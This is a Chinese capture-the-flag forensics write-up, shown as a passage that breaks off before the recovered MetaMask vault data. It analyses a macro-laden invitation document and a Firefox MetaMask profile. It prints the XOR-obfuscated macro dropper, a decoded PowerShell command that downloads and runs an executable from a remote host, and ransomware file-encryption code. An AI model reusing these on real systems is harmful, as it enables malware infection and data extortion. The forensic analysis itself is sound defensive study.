好久没更新了,这次WMCTF出了两个取证题,发个wp

Party Time

打开磁盘镜像可以发现桌面上的Party invitation.docm,是一个宏文档,直接使用oletools

olevba Party\ invitation.docm

即可得到宏代码

Private Sub Document_Open()
    Dim p As DocumentProperty
    Dim decoded As String
    Dim byteArray() As Byte
    For Each p In ActiveDocument.BuiltInDocumentProperties
        If p.Name = "Comments" Then
            byteArray = test(p.Value)
            decoded = ""
            For i = LBound(byteArray) To UBound(byteArray)
                decoded = decoded & Chr(byteArray(i) Xor &H64)
            Next i
            Shell (decoded)
            End If
    Next
End Sub

Function test(hexString As String) As Byte()
    Dim lenHex As Integer
    lenHex = Len(hexString)
    Dim byteArray() As Byte
    ReDim byteArray((lenHex \ 2) - 1)
    Dim i As Integer
    Dim byteValue As Integer

    For i = 0 To lenHex - 1 Step 2
        byteValue = Val("&H" & Mid(hexString, i + 1, 2))
        byteArray(i \ 2) = byteValue
    Next i

    test = byteArray
End Function

阅读后得知是从文档的comments属性中提取数据然后与0x64异或,这里可以使用exiftool

得到:

Description                     : 140b130116170c0108084a011c01444913440c0d0000010a444c0a0113490b060e01071044371d171001094a2a01104a33010627080d010a104d4a200b130a080b0500220d08014c430c1010145e4b4b555d564a55525c4a5654534a555e5c545c544b130d0a000b13173b1114000510013b56545650545c55574a011c01434840010a125e100109144f434b130d0a000b13173b1114000510013b56545650545c55574a011c01434d5f37100516104934160b070117174440010a125e10010914434b130d0a000b13173b1114000510013b56545650545c55574a011c0143

然后解密得到payload:

powershell.exe -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.207.1:8080/windows_update_20240813.exe',$env:temp+'/windows_update_20240813.exe');Start-Process $env:temp'/windows_update_20240813.exe'

可以看出是下载了windows_update_20240813.exe放在了$env:temp下并执行,在这里就是/AppData/Local/Temp/windows_update_20240813.exe

将其提取出来并进行逆向,具体过程省略,在这里直接给出加密部分源码:

func encryptAndOverwriteFile(filename string, pub *rsa.PublicKey, deviceKey []byte) error {
    // Read the original file content
    content, err := ioutil.ReadFile(filename)
    if err != nil {
        return err
    }

    // Encrypt the content
    hash := sha256.New()
    encryptedData, err := rsa.EncryptOAEP(hash, rand.Reader, pub, content, deviceKey)
    if err != nil {
        return err
    }

    // Overwrite the original file with encrypted content
    err = ioutil.WriteFile(filename, encryptedData, 0644)
    if err != nil {
        return err
    }

    return nil
}

而rsa的公钥和私钥都存储在了注册表里,devicekey则是hostname的sha256

func storeRsaKeyInRegistry(PrivateKey []byte, PublicKey []byte) error {
    key, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\nothing`, registry.SET_VALUE)
    if err != nil {
        return err
    }
    defer key.Close()

    err = key.SetBinaryValue("PrivateKey", PrivateKey)
    if err != nil {
        return err
    }
    err = key.SetBinaryValue("PublicKey", PublicKey)
    if err != nil {
        return err
    }
    return nil
}

func getDeviceKey() ([]byte, error) {
    hostname, err := os.Hostname()
    if err != nil {
        return nil, err
    }

    deviceKey := sha256.Sum256([]byte(hostname))
    if err != nil {
        return nil, err
    }

    return deviceKey[:], nil
}

于是可以直接使用volatility对注册表进行分析,提取其中的rsa私钥

python2 vol.py -f ../../mem --profile=Win10x64_19041 printkey -K "SOFTWARE\nothing"

得到私钥

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA0WudoQ2mgYalJ2LKLzxeqVydTdteAQkdllvhu/jh7+pCTvUJ
uNMJEdSFphVAIp53BBuGVp0xwSav8hbffHX+Fdn7ZRN0YecgDtPA3Pd3y9jcutVZ
yes8Wjbpt6qTD+ITl1nPsKqsB2Ry1BhFYWBC8+2YniKQqb4UE3Kr7LE78Tb8ABp9
epe4AMguNHlgdC97DpJ5R7/esRjMey/NWdFXN1LsQYCn9/UGwVhLG3gmPn200XE6
KLjXRijrN23lwpDw88J7pfJCbfh/jgpoe91Rmq/ADs4mwhXcNRafmsNixCj/Zwcr
3ANPuTNOKmH6IaPWg410O+1q2noV67cLi/NrIQIDAQABAoIBAQCuljT3S1YArauJ
xkYgUwfn0Zoiijs4Sc0syLTL7JUPWhClmorcVrM89hvlddneApXeCsRX+Py9te8A
uCjgrc2BkhSPE0T3SaPkOIyUqopomwaJi8wrFb1eyGDYCZBIsYT7rJgFBIQeNZO1
VfahU4r9qJqPWumXWSuLexHxZWA/msByzrijZIP5ufeuIzCNLV6yOPOhSMIHCA3s
hOjOQsW76q+fVIGAR8qHFj/Ee02ta4engXEhBWa5Y7pLqtihHdZIcn0KRxx3+Ev5
kJhBMIPazdneQ/KiP5wzkdSYoTf9+hLjYGQu6A3T2GqzrOvlsd6gNfq/WlrKzIa6
P7wqXhhBAoGBANmHWpnPUZvR0LXLMi8n+zE7FWhtVI5eZltpVou1XefYt6/LZLv9
/pSQCZRRwqUQTjFWOKcg+H2rRdKVc7h/fySXDlmUkE9Ep4REqAAMEGRQKRUJrq2D
KiNq7E08dZpoAiaH4PaZKMsuubxpJX3WSTkLVXnusN0TObCibjnKk2mdAoGBAPZ1
J6roXjv6f4N3+i/aUUh/UaGlJuhqyi8ALiI7+9dIVrKyU8ULjjnlb3F8Mg4n8FQb
AxTAnN9HvDBYLwwWo48yD7zzNPlxwF3rEiUuZ8BjUGMuN1QIPT0wSDvKjOdOoQFB
HkNu/Ysjfp4paET0foYRzu62eAzh9mAegM9PHKJVAoGASudf3EzWViiGjML+cdx7
k7U7puzWy/tXlayNH6iBQH+QqNkJw+4vRqrekZMhykL2GekNswcYafWbImtSILrO
ZiQZzeDpXFJQuKwHiZSd5Fzx+IuP+bGLxgxgeCwUdunPq8LoRSHyORzK2kT+ovkx
15G+ijEV99pR6C/WctH9tsUCgYAVlP7LRZvy7qW58oizJhAWJCgW2qqEkc1wvjhM
ASq1mH0XGuyhBbkHsuLGclTDzpWKF+92IsPZ/aMqLJ66FUVvZbfhGP8blO1+i/ZD
0UN+onPIq6RmtG4AbLj2m28pVkZdIMGwsAh95bbRzNh3qV1nCiov10S+BA+aLTGk
dc4RHQKBgBPT6/JmHGe6MqbEfnu7H0FyubseQ5B5bsWrw9xX0gVwjDV6iiTnqLT0
lD5qVyb4nGAcaqn7Wm3Hoykom6x7CnueBHY7HHGq21bvTOQv/aC59mZxpPaDEMUR
eROsDq1jsfYVTBwpUDoWP7yRAv5tiUHU0BtjwlozyfvgJOIpjTMg
-----END RSA PRIVATE KEY-----

还有主机名,找的方式很多,比如说看环境变量,得到

DESKTOP-8KRF7H0

根据这些编写解密代码解密桌面上的flag.rar即可

package main

import (
    "crypto/rand"
    "crypto/rsa"
    "crypto/sha256"
    "crypto/x509"
    "encoding/hex"
    "encoding/pem"
    "flag"
    "fmt"
    "io/ioutil"
    "os"
)

// Function to load RSA keys from files
func loadRSAKeys() (*rsa.PrivateKey, error) {
    privateKeyPEM, err := ioutil.ReadFile("private_key.pem")
    if err != nil {
        return nil, err
    }
    block, _ := pem.Decode(privateKeyPEM)
    if block == nil || block.Type != "RSA PRIVATE KEY" {
        return nil, fmt.Errorf("failed to decode PEM block containing private key")
    }

    privateKey, err := x509.ParsePKCS1PrivateKey(block.Bytes)
    if err != nil {
        return nil, err
    }

    return privateKey, nil
}

// Function to decrypt data using RSA and device key
func decrypt(encryptedData []byte, privateKey *rsa.PrivateKey, deviceKey []byte) ([]byte, error) {
    hash := sha256.New()
    decryptedData, err := rsa.DecryptOAEP(hash, rand.Reader, privateKey, encryptedData, deviceKey)
    if err != nil {
        return nil, err
    }
    return decryptedData, nil
}

func printHelp() {
    fmt.Println("Usage:")
    fmt.Println("  -help                Show this help message")
    fmt.Println("  -decrypt <file>      Decrypt the specified file (requires device key)")
    fmt.Println("  -key <key>           Device key for decryption")
}
func main() {
    help := flag.Bool("help", false, "Show help message")
    decryptFile := flag.String("decrypt", "", "File to decrypt")
    key := flag.String("key", "", "Device key for decryption")
    flag.Parse()

    if *help {
        printHelp()
        return
    }

    if *decryptFile == "" || *key == "" {
        printHelp()
        return
    }

    if _, err := os.Stat("private_key.pem"); os.IsNotExist(err) {
        fmt.Println("no private key find!")
        return
    }

    privateKey, err := loadRSAKeys()
    if err != nil {
        fmt.Println("Error loading RSA keys:", err)
        return
    }

    if *decryptFile != "" {
        data, err := ioutil.ReadFile(*decryptFile)
        if err != nil {
            fmt.Println("Error reading file:", err)
            return
        }

        deviceKey, err := hex.DecodeString(*key)
        if err != nil {
            fmt.Println("Error decoding device key:", err)
            return
        }

        decryptedData, err := decrypt(data, privateKey, deviceKey)
        if err != nil {
            fmt.Println("Error decrypting data:", err)
            return
        }

        err = ioutil.WriteFile("decrypted_"+*decryptFile, decryptedData, 0644)
        if err != nil {
            fmt.Println("Error writing decrypted file:", err)
            return
        }

        fmt.Println("File decrypted successfully!")
    }
}

metasecret

ftk imager打开镜像文件进行分析,可以发现documents文件夹里的passwords.txt以及appdata/roaming中的火狐浏览器数据,再由题目名和题目描述想到加密货币相关,即metamask插件,于是可以在~/AppData/Roaming/Mozilla/Firefox/Profiles/jawk8d8g.default-release/storage/default/下找到安装的所有插件,经过简单的尝试即可确认目标插件id是654e5b4f-4a65-4e1a-9b58-51733b6a2883,进而可以找到其idb文件,位置在moz-extension+++654e5b4f-4a65-4e1a-9b58-51733b6a2883^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.files/492

但是firefox的idb文件是经过了snappy压缩的,需要解压,相关代码可以在网上找到,例如这个

https://github.com/JesseBusman/FirefoxMetamaskWalletSeedRecovery

对其稍作修改,让脚本直接解密整个文件,要用的时候直接修改最下面的文件名

import cramjam
import typing as ty
import collections.abc as cabc
import sqlite3
import snappy
import io
import sys
import glob
import pathlib
import re
import os
import json

"""A SpiderMonkey StructuredClone object reader for Python."""
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
# Credits:
#   – Source was havily inspired by
#     https://dxr.mozilla.org/mozilla-central/rev/3bc0d683a41cb63c83cb115d1b6a85d50013d59e/js/src/vm/StructuredClone.cpp
#     and many helpful comments were copied as-is.
#   – Python source code by Alexander Schlarb, 2020.

import collections
import datetime
import enum
import io
import re
import struct
import typing

class ParseError(ValueError):
    pass

class InvalidHeaderError(ParseError):
    pass

class JSInt32(int):
    """Type to represent the standard 32-bit signed integer"""

    def __init__(self, *a):
        if not (-0x80000000 <= self <= 0x7FFFFFFF):
            raise TypeError("JavaScript integers are signed 32-bit values")

class JSBigInt(int):
    """Type to represent the arbitrary precision JavaScript “BigInt” type"""
    pass

class JSBigIntObj(JSBigInt):
    """Type to represent the JavaScript BigInt object type (vs the primitive type)"""
    pass

class JSBooleanObj(int):
    """Type to represent JavaScript boolean “objects” (vs the primitive type)

    Note: This derives from `int`, since one cannot directly derive from `bool`."""
    __slots__ = ()

    def __new__(self, inner: object = False):
        return int.__new__(bool(inner))

    def __and__(self, other: bool) -> bool:
        return bool(self) & other

    def __or__(self, other: bool) -> bool:
        return bool(self) | other

    def __xor__(self, other: bool) -> bool:
        return bool(self) ^ other

    def __rand__(self, other: bool) -> bool:
        return other & bool(self)

    def __ror__(self, other: bool) -> bool:
        return other | bool(self)

    def __rxor__(self, other: bool) -> bool:
        return other ^ bool(self)

    def __str__(self, other: bool) -> str:
        return str(bool(self))

class _HashableContainer:
    inner: object

    def __init__(self, inner: object):
        self.inner = inner

    def __hash__(self):
        return id(self.inner)

    def __repr__(self):
        return repr(self.inner)

    def __str__(self):
        return str(self.inner)

class JSMapObj(collections.UserDict):
    """JavaScript compatible Map object that allows arbitrary values for the key."""
    @staticmethod
    def key_to_hashable(key: object) -> collections.abc.Hashable:
        try:
            hash(key)
        except TypeError:
            return _HashableContainer(key)
        else:
            return key

    def __contains__(self, key: object) -> bool:
        return super().__contains__(self.key_to_hashable(key))

    def __delitem__(self, key: object) -> None:
        return super().__delitem__(self.key_to_hashable(key))

    def __getitem__(self, key: object) -> object:
        return super().__getitem__(self.key_to_hashable(key))

    def __iter__(self) -> typing.Iterator[object]:
        for key in super().__iter__():
            if isinstance(key, _HashableContainer):
                key = key.inner
            yield key

    def __setitem__(self, key: object, value: object):
        super().__setitem__(self.key_to_hashable(key), value)

class JSNumberObj(float):
    """Type to represent JavaScript number/float “objects” (vs the primitive type)"""
    pass

class JSRegExpObj:
    expr:  str
    flags: 'RegExpFlag'

    def __init__(self, expr: str, flags: 'RegExpFlag'):
        self.expr = expr
        self.flags = flags

    @classmethod
    def from_re(cls, regex: re.Pattern) -> 'JSRegExpObj':
        flags = RegExpFlag.GLOBAL
        if regex.flags | re.DOTALL:
            pass  # Not supported in current (2020-01) version of SpiderMonkey
        if regex.flags | re.IGNORECASE:
            flags |= RegExpFlag.IGNORE_CASE
        if regex.flags | re.MULTILINE:
            flags |= RegExpFlag.MULTILINE
        return cls(regex.pattern, flags)

    def to_re(self) -> re.Pattern:
        flags = 0
        if self.flags | RegExpFlag.IGNORE_CASE:
            flags |= re.IGNORECASE
        if self.flags | RegExpFlag.GLOBAL:
            pass  # Matching type depends on matching function used in Python
        if self.flags | RegExpFlag.MULTILINE:
            flags |= re.MULTILINE
        if self.flags | RegExpFlag.UNICODE:
            pass  # XXX
        return re.compile(self.expr, flags)

class JSSavedFrame:
    def __init__(self):
        raise NotImplementedError()

class JSSetObj:
    def __init__(self):
        raise NotImplementedError()

class JSStringObj(str):
    """Type to represent JavaScript string “objects” (vs the primitive type)"""
    pass

class DataType(enum.IntEnum):
    # Special values
    FLOAT_MAX = 0xFFF00000
    HEADER = 0xFFF10000

    # Basic JavaScript types
    NULL = 0xFFFF0000
    UNDEFINED = 0xFFFF0001
    BOOLEAN = 0xFFFF0002
    INT32 = 0xFFFF0003
    STRING = 0xFFFF0004

    # Extended JavaScript types
    DATE_OBJECT = 0xFFFF0005
    REGEXP_OBJECT = 0xFFFF0006
    ARRAY_OBJECT = 0xFFFF0007
    OBJECT_OBJECT = 0xFFFF0008
    ARRAY_BUFFER_OBJECT = 0xFFFF0009
    BOOLEAN_OBJECT = 0xFFFF000A
    STRING_OBJECT = 0xFFFF000B
    NUMBER_OBJECT = 0xFFFF000C
    BACK_REFERENCE_OBJECT = 0xFFFF000D
    # DO_NOT_USE_1
    # DO_NOT_USE_2
    TYPED_ARRAY_OBJECT = 0xFFFF0010
    MAP_OBJECT = 0xFFFF0011
    SET_OBJECT = 0xFFFF0012
    END_OF_KEYS = 0xFFFF0013
    # DO_NOT_USE_3
    DATA_VIEW_OBJECT = 0xFFFF0015
    SAVED_FRAME_OBJECT = 0xFFFF0016  # ?

    # Principals ?
    JSPRINCIPALS = 0xFFFF0017
    NULL_JSPRINCIPALS = 0xFFFF0018
    RECONSTRUCTED_SAVED_FRAME_PRINCIPALS_IS_SYSTEM = 0xFFFF0019
    RECONSTRUCTED_SAVED_FRAME_PRINCIPALS_IS_NOT_SYSTEM = 0xFFFF001A

    # ?
    SHARED_ARRAY_BUFFER_OBJECT = 0xFFFF001B
    SHARED_WASM_MEMORY_OBJECT = 0xFFFF001C

    # Arbitrarily sized integers
    BIGINT = 0xFFFF001D
    BIGINT_OBJECT = 0xFFFF001E

    # Older typed arrays
    TYPED_ARRAY_V1_MIN = 0xFFFF0100
    TYPED_ARRAY_V1_INT8 = TYPED_ARRAY_V1_MIN + 0
    TYPED_ARRAY_V1_UINT8 = TYPED_ARRAY_V1_MIN + 1
    TYPED_ARRAY_V1_INT16 = TYPED_ARRAY_V1_MIN + 2
    TYPED_ARRAY_V1_UINT16 = TYPED_ARRAY_V1_MIN + 3
    TYPED_ARRAY_V1_INT32 = TYPED_ARRAY_V1_MIN + 4
    TYPED_ARRAY_V1_UINT32 = TYPED_ARRAY_V1_MIN + 5
    TYPED_ARRAY_V1_FLOAT32 = TYPED_ARRAY_V1_MIN + 6
    TYPED_ARRAY_V1_FLOAT64 = TYPED_ARRAY_V1_MIN + 7
    TYPED_ARRAY_V1_UINT8_CLAMPED = TYPED_ARRAY_V1_MIN + 8
    TYPED_ARRAY_V1_MAX = TYPED_ARRAY_V1_UINT8_CLAMPED

    # Transfer-only tags (not used for persistent data)
    TRANSFER_MAP_HEADER = 0xFFFF0200
    TRANSFER_MAP_PENDING_ENTRY = 0xFFFF0201
    TRANSFER_MAP_ARRAY_BUFFER = 0xFFFF0202
    TRANSFER_MAP_STORED_ARRAY_BUFFER = 0xFFFF0203

class RegExpFlag(enum.IntFlag):
    IGNORE_CASE = 0b00001
    GLOBAL = 0b00010
    MULTILINE = 0b00100
    UNICODE = 0b01000

class Scope(enum.IntEnum):
    SAME_PROCESS = 1
    DIFFERENT_PROCESS = 2
    DIFFERENT_PROCESS_FOR_INDEX_DB = 3
    UNASSIGNED = 4
    UNKNOWN_DESTINATION = 5

class _Input:
    stream: io.BufferedReader

    def __init__(self, stream: io.BufferedReader):
        self.stream = stream

    def peek(self) -> int:
        try:
            return struct.unpack_from("<q", self.stream.peek(8))[0]
        except struct.error:
            raise EOFError() from None

    def peek_pair(self) -> (int, int):
        v = self.peek()
        return ((v >> 32) & 0xFFFFFFFF, (v >> 0) & 0xFFFFFFFF)

    def drop_padding(self, read_length):
        length = 8 - ((read_length - 1) % 8) - 1
        result = self.stream.read(length)
        if len(result) < length:
            raise EOFError()

    def read(self, fmt="q"):
        try:
            return struct.unpack("<" + fmt, self.stream.read(8))[0]
        except struct.error:
            raise EOFError() from None

    def read_bytes(self, length: int) -> bytes:
        result = self.stream.read(length)
        if len(result) < length:
            raise EOFError()
        self.drop_padding(length)
        return result

    def read_pair(self) -> (int, int):
        v = self.read()
        return ((v >> 32) & 0xFFFFFFFF, (v >> 0) & 0xFFFFFFFF)

    def read_double(self) -> float:
        return self.read("d")

class Reader:
    all_objs: typing.List[typing.Union[list, dict]]
    compat:   bool
    input:    _Input
    objs:     typing.List[typing.Union[list, dict]]

    def __init__(self, stream: io.BufferedReader):
        self.input = _Input(stream)

        self.all_objs = []
        self.compat = False
        self.objs = []

    def read(self):
        self.read_header()
        self.read_transfer_map()

        # Start out by reading in the main object and pushing it onto the 'objs'
        # stack. The data related to this object and its descendants extends
        # from here to the SCTAG_END_OF_KEYS at the end of the stream.
        add_obj, result = self.start_read()
        if add_obj:
            self.all_objs.append(result)

        # Stop when the stack shows that all objects have been read.
        while len(self.objs) > 0:
            # What happens depends on the top obj on the objs stack.
            obj = self.objs[-1]

            tag, data = self.input.peek_pair()
            if tag == DataType.END_OF_KEYS:
                # Pop the current obj off the stack, since we are done with it
                # and its children.
                self.input.read_pair()
                self.objs.pop()
                continue

            # The input stream contains a sequence of "child" values, whose
            # interpretation depends on the type of obj. These values can be
            # anything.
            #
            # startRead() will allocate the (empty) object, but note that when
            # startRead() returns, 'key' is not yet initialized with any of its
            # properties. Those will be filled in by returning to the head of
            # this loop, processing the first child obj, and continuing until
            # all children have been fully created.
            #
            # Note that this means the ordering in the stream is a little funky
            # for things like Map. See the comment above startWrite() for an
            # example.
            add_obj, key = self.start_read()
            if add_obj:
                self.all_objs.append(key)

            # Backwards compatibility: Null formerly indicated the end of
            # object properties.
            if key is None and not isinstance(obj, (JSMapObj, JSSetObj, JSSavedFrame)):
                self.objs.pop()
                continue

            # Set object: the values between obj header (from startRead()) and
            # DataType.END_OF_KEYS are interpreted as values to add to the set.
            if isinstance(obj, JSSetObj):
                obj.add(key)

            if isinstance(obj, JSSavedFrame):
                raise NotImplementedError()  # XXX: TODO

            # Everything else uses a series of key, value, key, value, … objects.
            add_obj, val = self.start_read()
            if add_obj:
                self.all_objs.append(val)

            # For a Map, store those <key,value> pairs in the contained map
            # data structure.
            if isinstance(obj, JSMapObj):
                obj[key] = value
            else:
                if not isinstance(key, (str, int)):
                    # continue
                    raise ParseError(
                        "JavaScript object key must be a string or integer")

                if isinstance(obj, list):
                    # Ignore object properties on array
                    if not isinstance(key, int) or key < 0:
                        continue

                    # Extend list with extra slots if needed
                    while key >= len(obj):
                        obj.append(NotImplemented)

                obj[key] = val

        self.all_objs.clear()

        return result

    def read_header(self) -> None:
        tag, data = self.input.peek_pair()

        scope: int
        if tag == DataType.HEADER:
            tag, data = self.input.read_pair()

            if data == 0:
                data = int(Scope.SAME_PROCESS)

            scope = data
        else:  # Old on-disk format
            scope = int(Scope.DIFFERENT_PROCESS_FOR_INDEX_DB)

        if scope == Scope.DIFFERENT_PROCESS:
            self.compat = False
        elif scope == Scope.DIFFERENT_PROCESS_FOR_INDEX_DB:
            self.compat = True
        elif scope == Scope.SAME_PROCESS:
            raise InvalidHeaderError("Can only parse persistent data")
        else:
            raise InvalidHeaderError("Invalid scope")

    def read_transfer_map(self) -> None:
        tag, data = self.input.peek_pair()
        if tag == DataType.TRANSFER_MAP_HEADER:
            raise InvalidHeaderError(
                "Transfer maps are not allowed for persistent data")

    def read_bigint(self, info: int) -> JSBigInt:
        length = info & 0x7FFFFFFF
        negative = bool(info & 0x80000000)
        raise NotImplementedError()

    def read_string(self, info: int) -> str:
        length = info & 0x7FFFFFFF
        latin1 = bool(info & 0x80000000)

        if latin1:
            return self.input.read_bytes(length).decode("latin-1")
        else:
            return self.input.read_bytes(length * 2).decode("utf-16le")

    def start_read(self):
        tag, data = self.input.read_pair()

        if tag == DataType.NULL:
            return False, None

        elif tag == DataType.UNDEFINED:
            return False, NotImplemented

        elif tag == DataType.INT32:
            if data > 0x7FFFFFFF:
                data -= 0x80000000
            return False, JSInt32(data)

        elif tag == DataType.BOOLEAN:
            return False, bool(data)
        elif tag == DataType.BOOLEAN_OBJECT:
            return True, JSBooleanObj(data)

        elif tag == DataType.STRING:
            return False, self.read_string(data)
        elif tag == DataType.STRING_OBJECT:
            return True, JSStringObj(self.read_string(data))

        elif tag == DataType.NUMBER_OBJECT:
            return True, JSNumberObj(self.input.read_double())

        elif tag == DataType.BIGINT:
            return False, self.read_bigint()
        elif tag == DataType.BIGINT_OBJECT:
            return True, JSBigIntObj(self.read_bigint())

        elif tag == DataType.DATE_OBJECT:
            # These timestamps are always UTC
            return True, datetime.datetime.fromtimestamp(self.input.read_double(),
                                                         datetime.timezone.utc)

        elif tag == DataType.REGEXP_OBJECT:
            flags = RegExpFlag(data)

            tag2, data2 = self.input.read_pair()
            if tag2 != DataType.STRING:
                # return False, False
                raise ParseError("RegExp type must be followed by string")

            return True, JSRegExpObj(flags, self.read_string(data2))

        elif tag == DataType.ARRAY_OBJECT:
            obj = []
            self.objs.append(obj)
            return True, obj
        elif tag == DataType.OBJECT_OBJECT:
            obj = {}
            self.objs.append(obj)
            return True, obj

        elif tag == DataType.BACK_REFERENCE_OBJECT:
            try:
                return False, self.all_objs[data]
            except IndexError:
                # return False, False
                raise ParseError(
                    "Object backreference to non-existing object") from None

        elif tag == DataType.ARRAY_BUFFER_OBJECT:
            return True, self.read_array_buffer(data)  # XXX: TODO

        elif tag == DataType.SHARED_ARRAY_BUFFER_OBJECT:
            return True, self.read_shared_array_buffer(data)  # XXX: TODO

        elif tag == DataType.SHARED_WASM_MEMORY_OBJECT:
            return True, self.read_shared_wasm_memory(data)  # XXX: TODO

        elif tag == DataType.TYPED_ARRAY_OBJECT:
            array_type = self.input.read()
            return False, self.read_typed_array(array_type, data)  # XXX: TODO

        elif tag == DataType.DATA_VIEW_OBJECT:
            return False, self.read_data_view(data)  # XXX: TODO

        elif tag == DataType.MAP_OBJECT:
            obj = JSMapObj()
            self.objs.append(obj)
            return True, obj

        elif tag == DataType.SET_OBJECT:
            obj = JSSetObj()
            self.objs.append(obj)
            return True, obj

        elif tag == DataType.SAVED_FRAME_OBJECT:
            obj = self.read_saved_frame(data)  # XXX: TODO
            self.objs.append(obj)
            return True, obj

        elif tag < int(DataType.FLOAT_MAX):
            # Reassemble double floating point value
            return False, struct.unpack("=d", struct.pack("=q", (tag << 32) | data))[0]

        elif DataType.TYPED_ARRAY_V1_MIN <= tag <= DataType.TYPED_ARRAY_V1_MAX:
            return False, self.read_typed_array(tag - DataType.TYPED_ARRAY_V1_MIN, data)

        else:
            # return False, False
            raise ParseError("Unsupported type")

"""A parser for the Mozilla variant of Snappy frame format."""
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
# Credits:
#   – Python source code by Erin Yuki Schlarb, 2024.

def decompress_raw(data: bytes) -> bytes:
    """Decompress a raw Snappy chunk without any framing"""
    # Delegate this part to the cramjam library
    return cramjam.snappy.decompress_raw(data)

class Decompressor(io.BufferedIOBase):
    inner: io.BufferedIOBase

    _buf: bytearray
    _buf_len: int
    _buf_pos: int

    def __init__(self, inner: io.BufferedIOBase) -> None:
        assert inner.readable()
        self.inner = inner
        self._buf = bytearray(65536)
        self._buf_len = 0
        self._buf_pos = 0

    def readable(self) -> ty.Literal[True]:
        return True

    def _read_next_data_chunk(self) -> None:
        # We start with the buffer empty
        assert self._buf_len == 0

        # Keep parsing chunks until something is added to the buffer
        while self._buf_len == 0:
            # Read chunk header
            header = self.inner.read(4)
            if len(header) == 0:
                # EOF – buffer remains empty
                return
            elif len(header) != 4:
                # Just part of a header being present is invalid
                raise EOFError(
                    "Unexpected EOF while reading Snappy chunk header")
            type, length = header[0], int.from_bytes(header[1:4], "little")

            if type == 0xFF:
                # Stream identifier – contents should be checked but otherwise ignored
                if length != 6:
                    raise ValueError(
                        "Invalid stream identifier (wrong length)")

                # Read and verify required content is present
                content = self.inner.read(length)
                if len(content) != 6:
                    raise EOFError(
                        "Unexpected EOF while reading stream identifier")

                if content != b"sNaPpY":
                    raise ValueError(
                        "Invalid stream identifier (wrong content)")
            elif type == 0x00:
                # Compressed data

                # Read checksum
                checksum: bytes = self.inner.read(4)
                if len(checksum) != 4:
                    raise EOFError(
                        "Unexpected EOF while reading data checksum")

                # Read compressed data into new buffer
                compressed: bytes = self.inner.read(length - 4)
                if len(compressed) != length - 4:
                    raise EOFError(
                        "Unexpected EOF while reading data contents")

                # Decompress data into inner buffer
                # XXX: There does not appear to an efficient way to set the length
                #     of a bytearray
                self._buf_len = cramjam.snappy.decompress_raw_into(
                    compressed, self._buf)

                # TODO: Verify checksum
            elif type == 0x01:
                # Uncompressed data
                if length > 65536:
                    raise ValueError(
                        "Invalid uncompressed data chunk (length > 65536)")

                checksum: bytes = self.inner.read(4)
                if len(checksum) != 4:
                    raise EOFError(
                        "Unexpected EOF while reading data checksum")

                # Read chunk data into buffer
                with memoryview(self._buf) as view:
                    if self.inner.readinto(view[:(length - 4)]) != length - 4:
                        raise EOFError(
                            "Unexpected EOF while reading data contents")
                    self._buf_len = length - 4

                # TODO: Verify checksum
            elif type in range(0x80, 0xFE + 1):
                # Padding and reserved skippable chunks – just skip the contents
                if self.inner.seekable():
                    self.inner.seek(length, io.SEEK_CUR)
                else:
                    self.inner.read(length)
            else:
                raise ValueError(
                    f"Unexpected unskippable reserved chunk: 0x{type:02X}")

    def read1(self, size: ty.Optional[int] = -1) -> bytes:
        # Read another chunk if the buffer is currently empty
        if self._buf_len < 1:
            self._read_next_data_chunk()

        # Return some of the data currently present in the buffer
        start = self._buf_pos
        if size is None or size < 0:
            end = self._buf_len
        else:
            end = min(start + size, self._buf_len)

        result: bytes = bytes(self._buf[start:end])
        if end < self._buf_len:
            self._buf_pos = end
        else:
            self._buf_len = 0
            self._buf_pos = 0
        return result

    def read(self, size: ty.Optional[int] = -1) -> bytes:
        buf: bytearray = bytearray()
        if size is None or size < 0:
            while len(data := self.read1()) > 0:
                buf += data
        else:
            while len(buf) < size and len(data := self.read1(size - len(buf))) > 0:
                buf += data
        return buf

    def readinto1(self, buf: cabc.Sequence[bytes]) -> int:
        # Read another chunk if the buffer is currently empty
        if self._buf_len < 1:
            self._read_next_data_chunk()

        # Copy some of the data currently present in the buffer
        start = self._buf_pos
        end = min(start + len(buf), self._buf_len)

        buf[0:(end - start)] = self._buf[start:end]
        if end < self._buf_len:
            self._buf_pos = end
        else:
            self._buf_len = 0
            self._buf_pos = 0
        return end - start

    def readinto(self, buf: cabc.Sequence[bytes]) -> int:
        with memoryview(buf) as view:
            pos = 0
            while pos < len(buf) and (length := self.readinto1(view[pos:])) > 0:
                pos += length
            return pos

with open("488", "rb") as ff:
    d = Decompressor(ff)
    decoded = d.read()
    decodedStr = decoded.decode(encoding='utf-8', errors="ignore")

print(decodedStr)

对先前得到的idb文件进行解压缩,即可得到原始数据,其中有关vault的信息如下

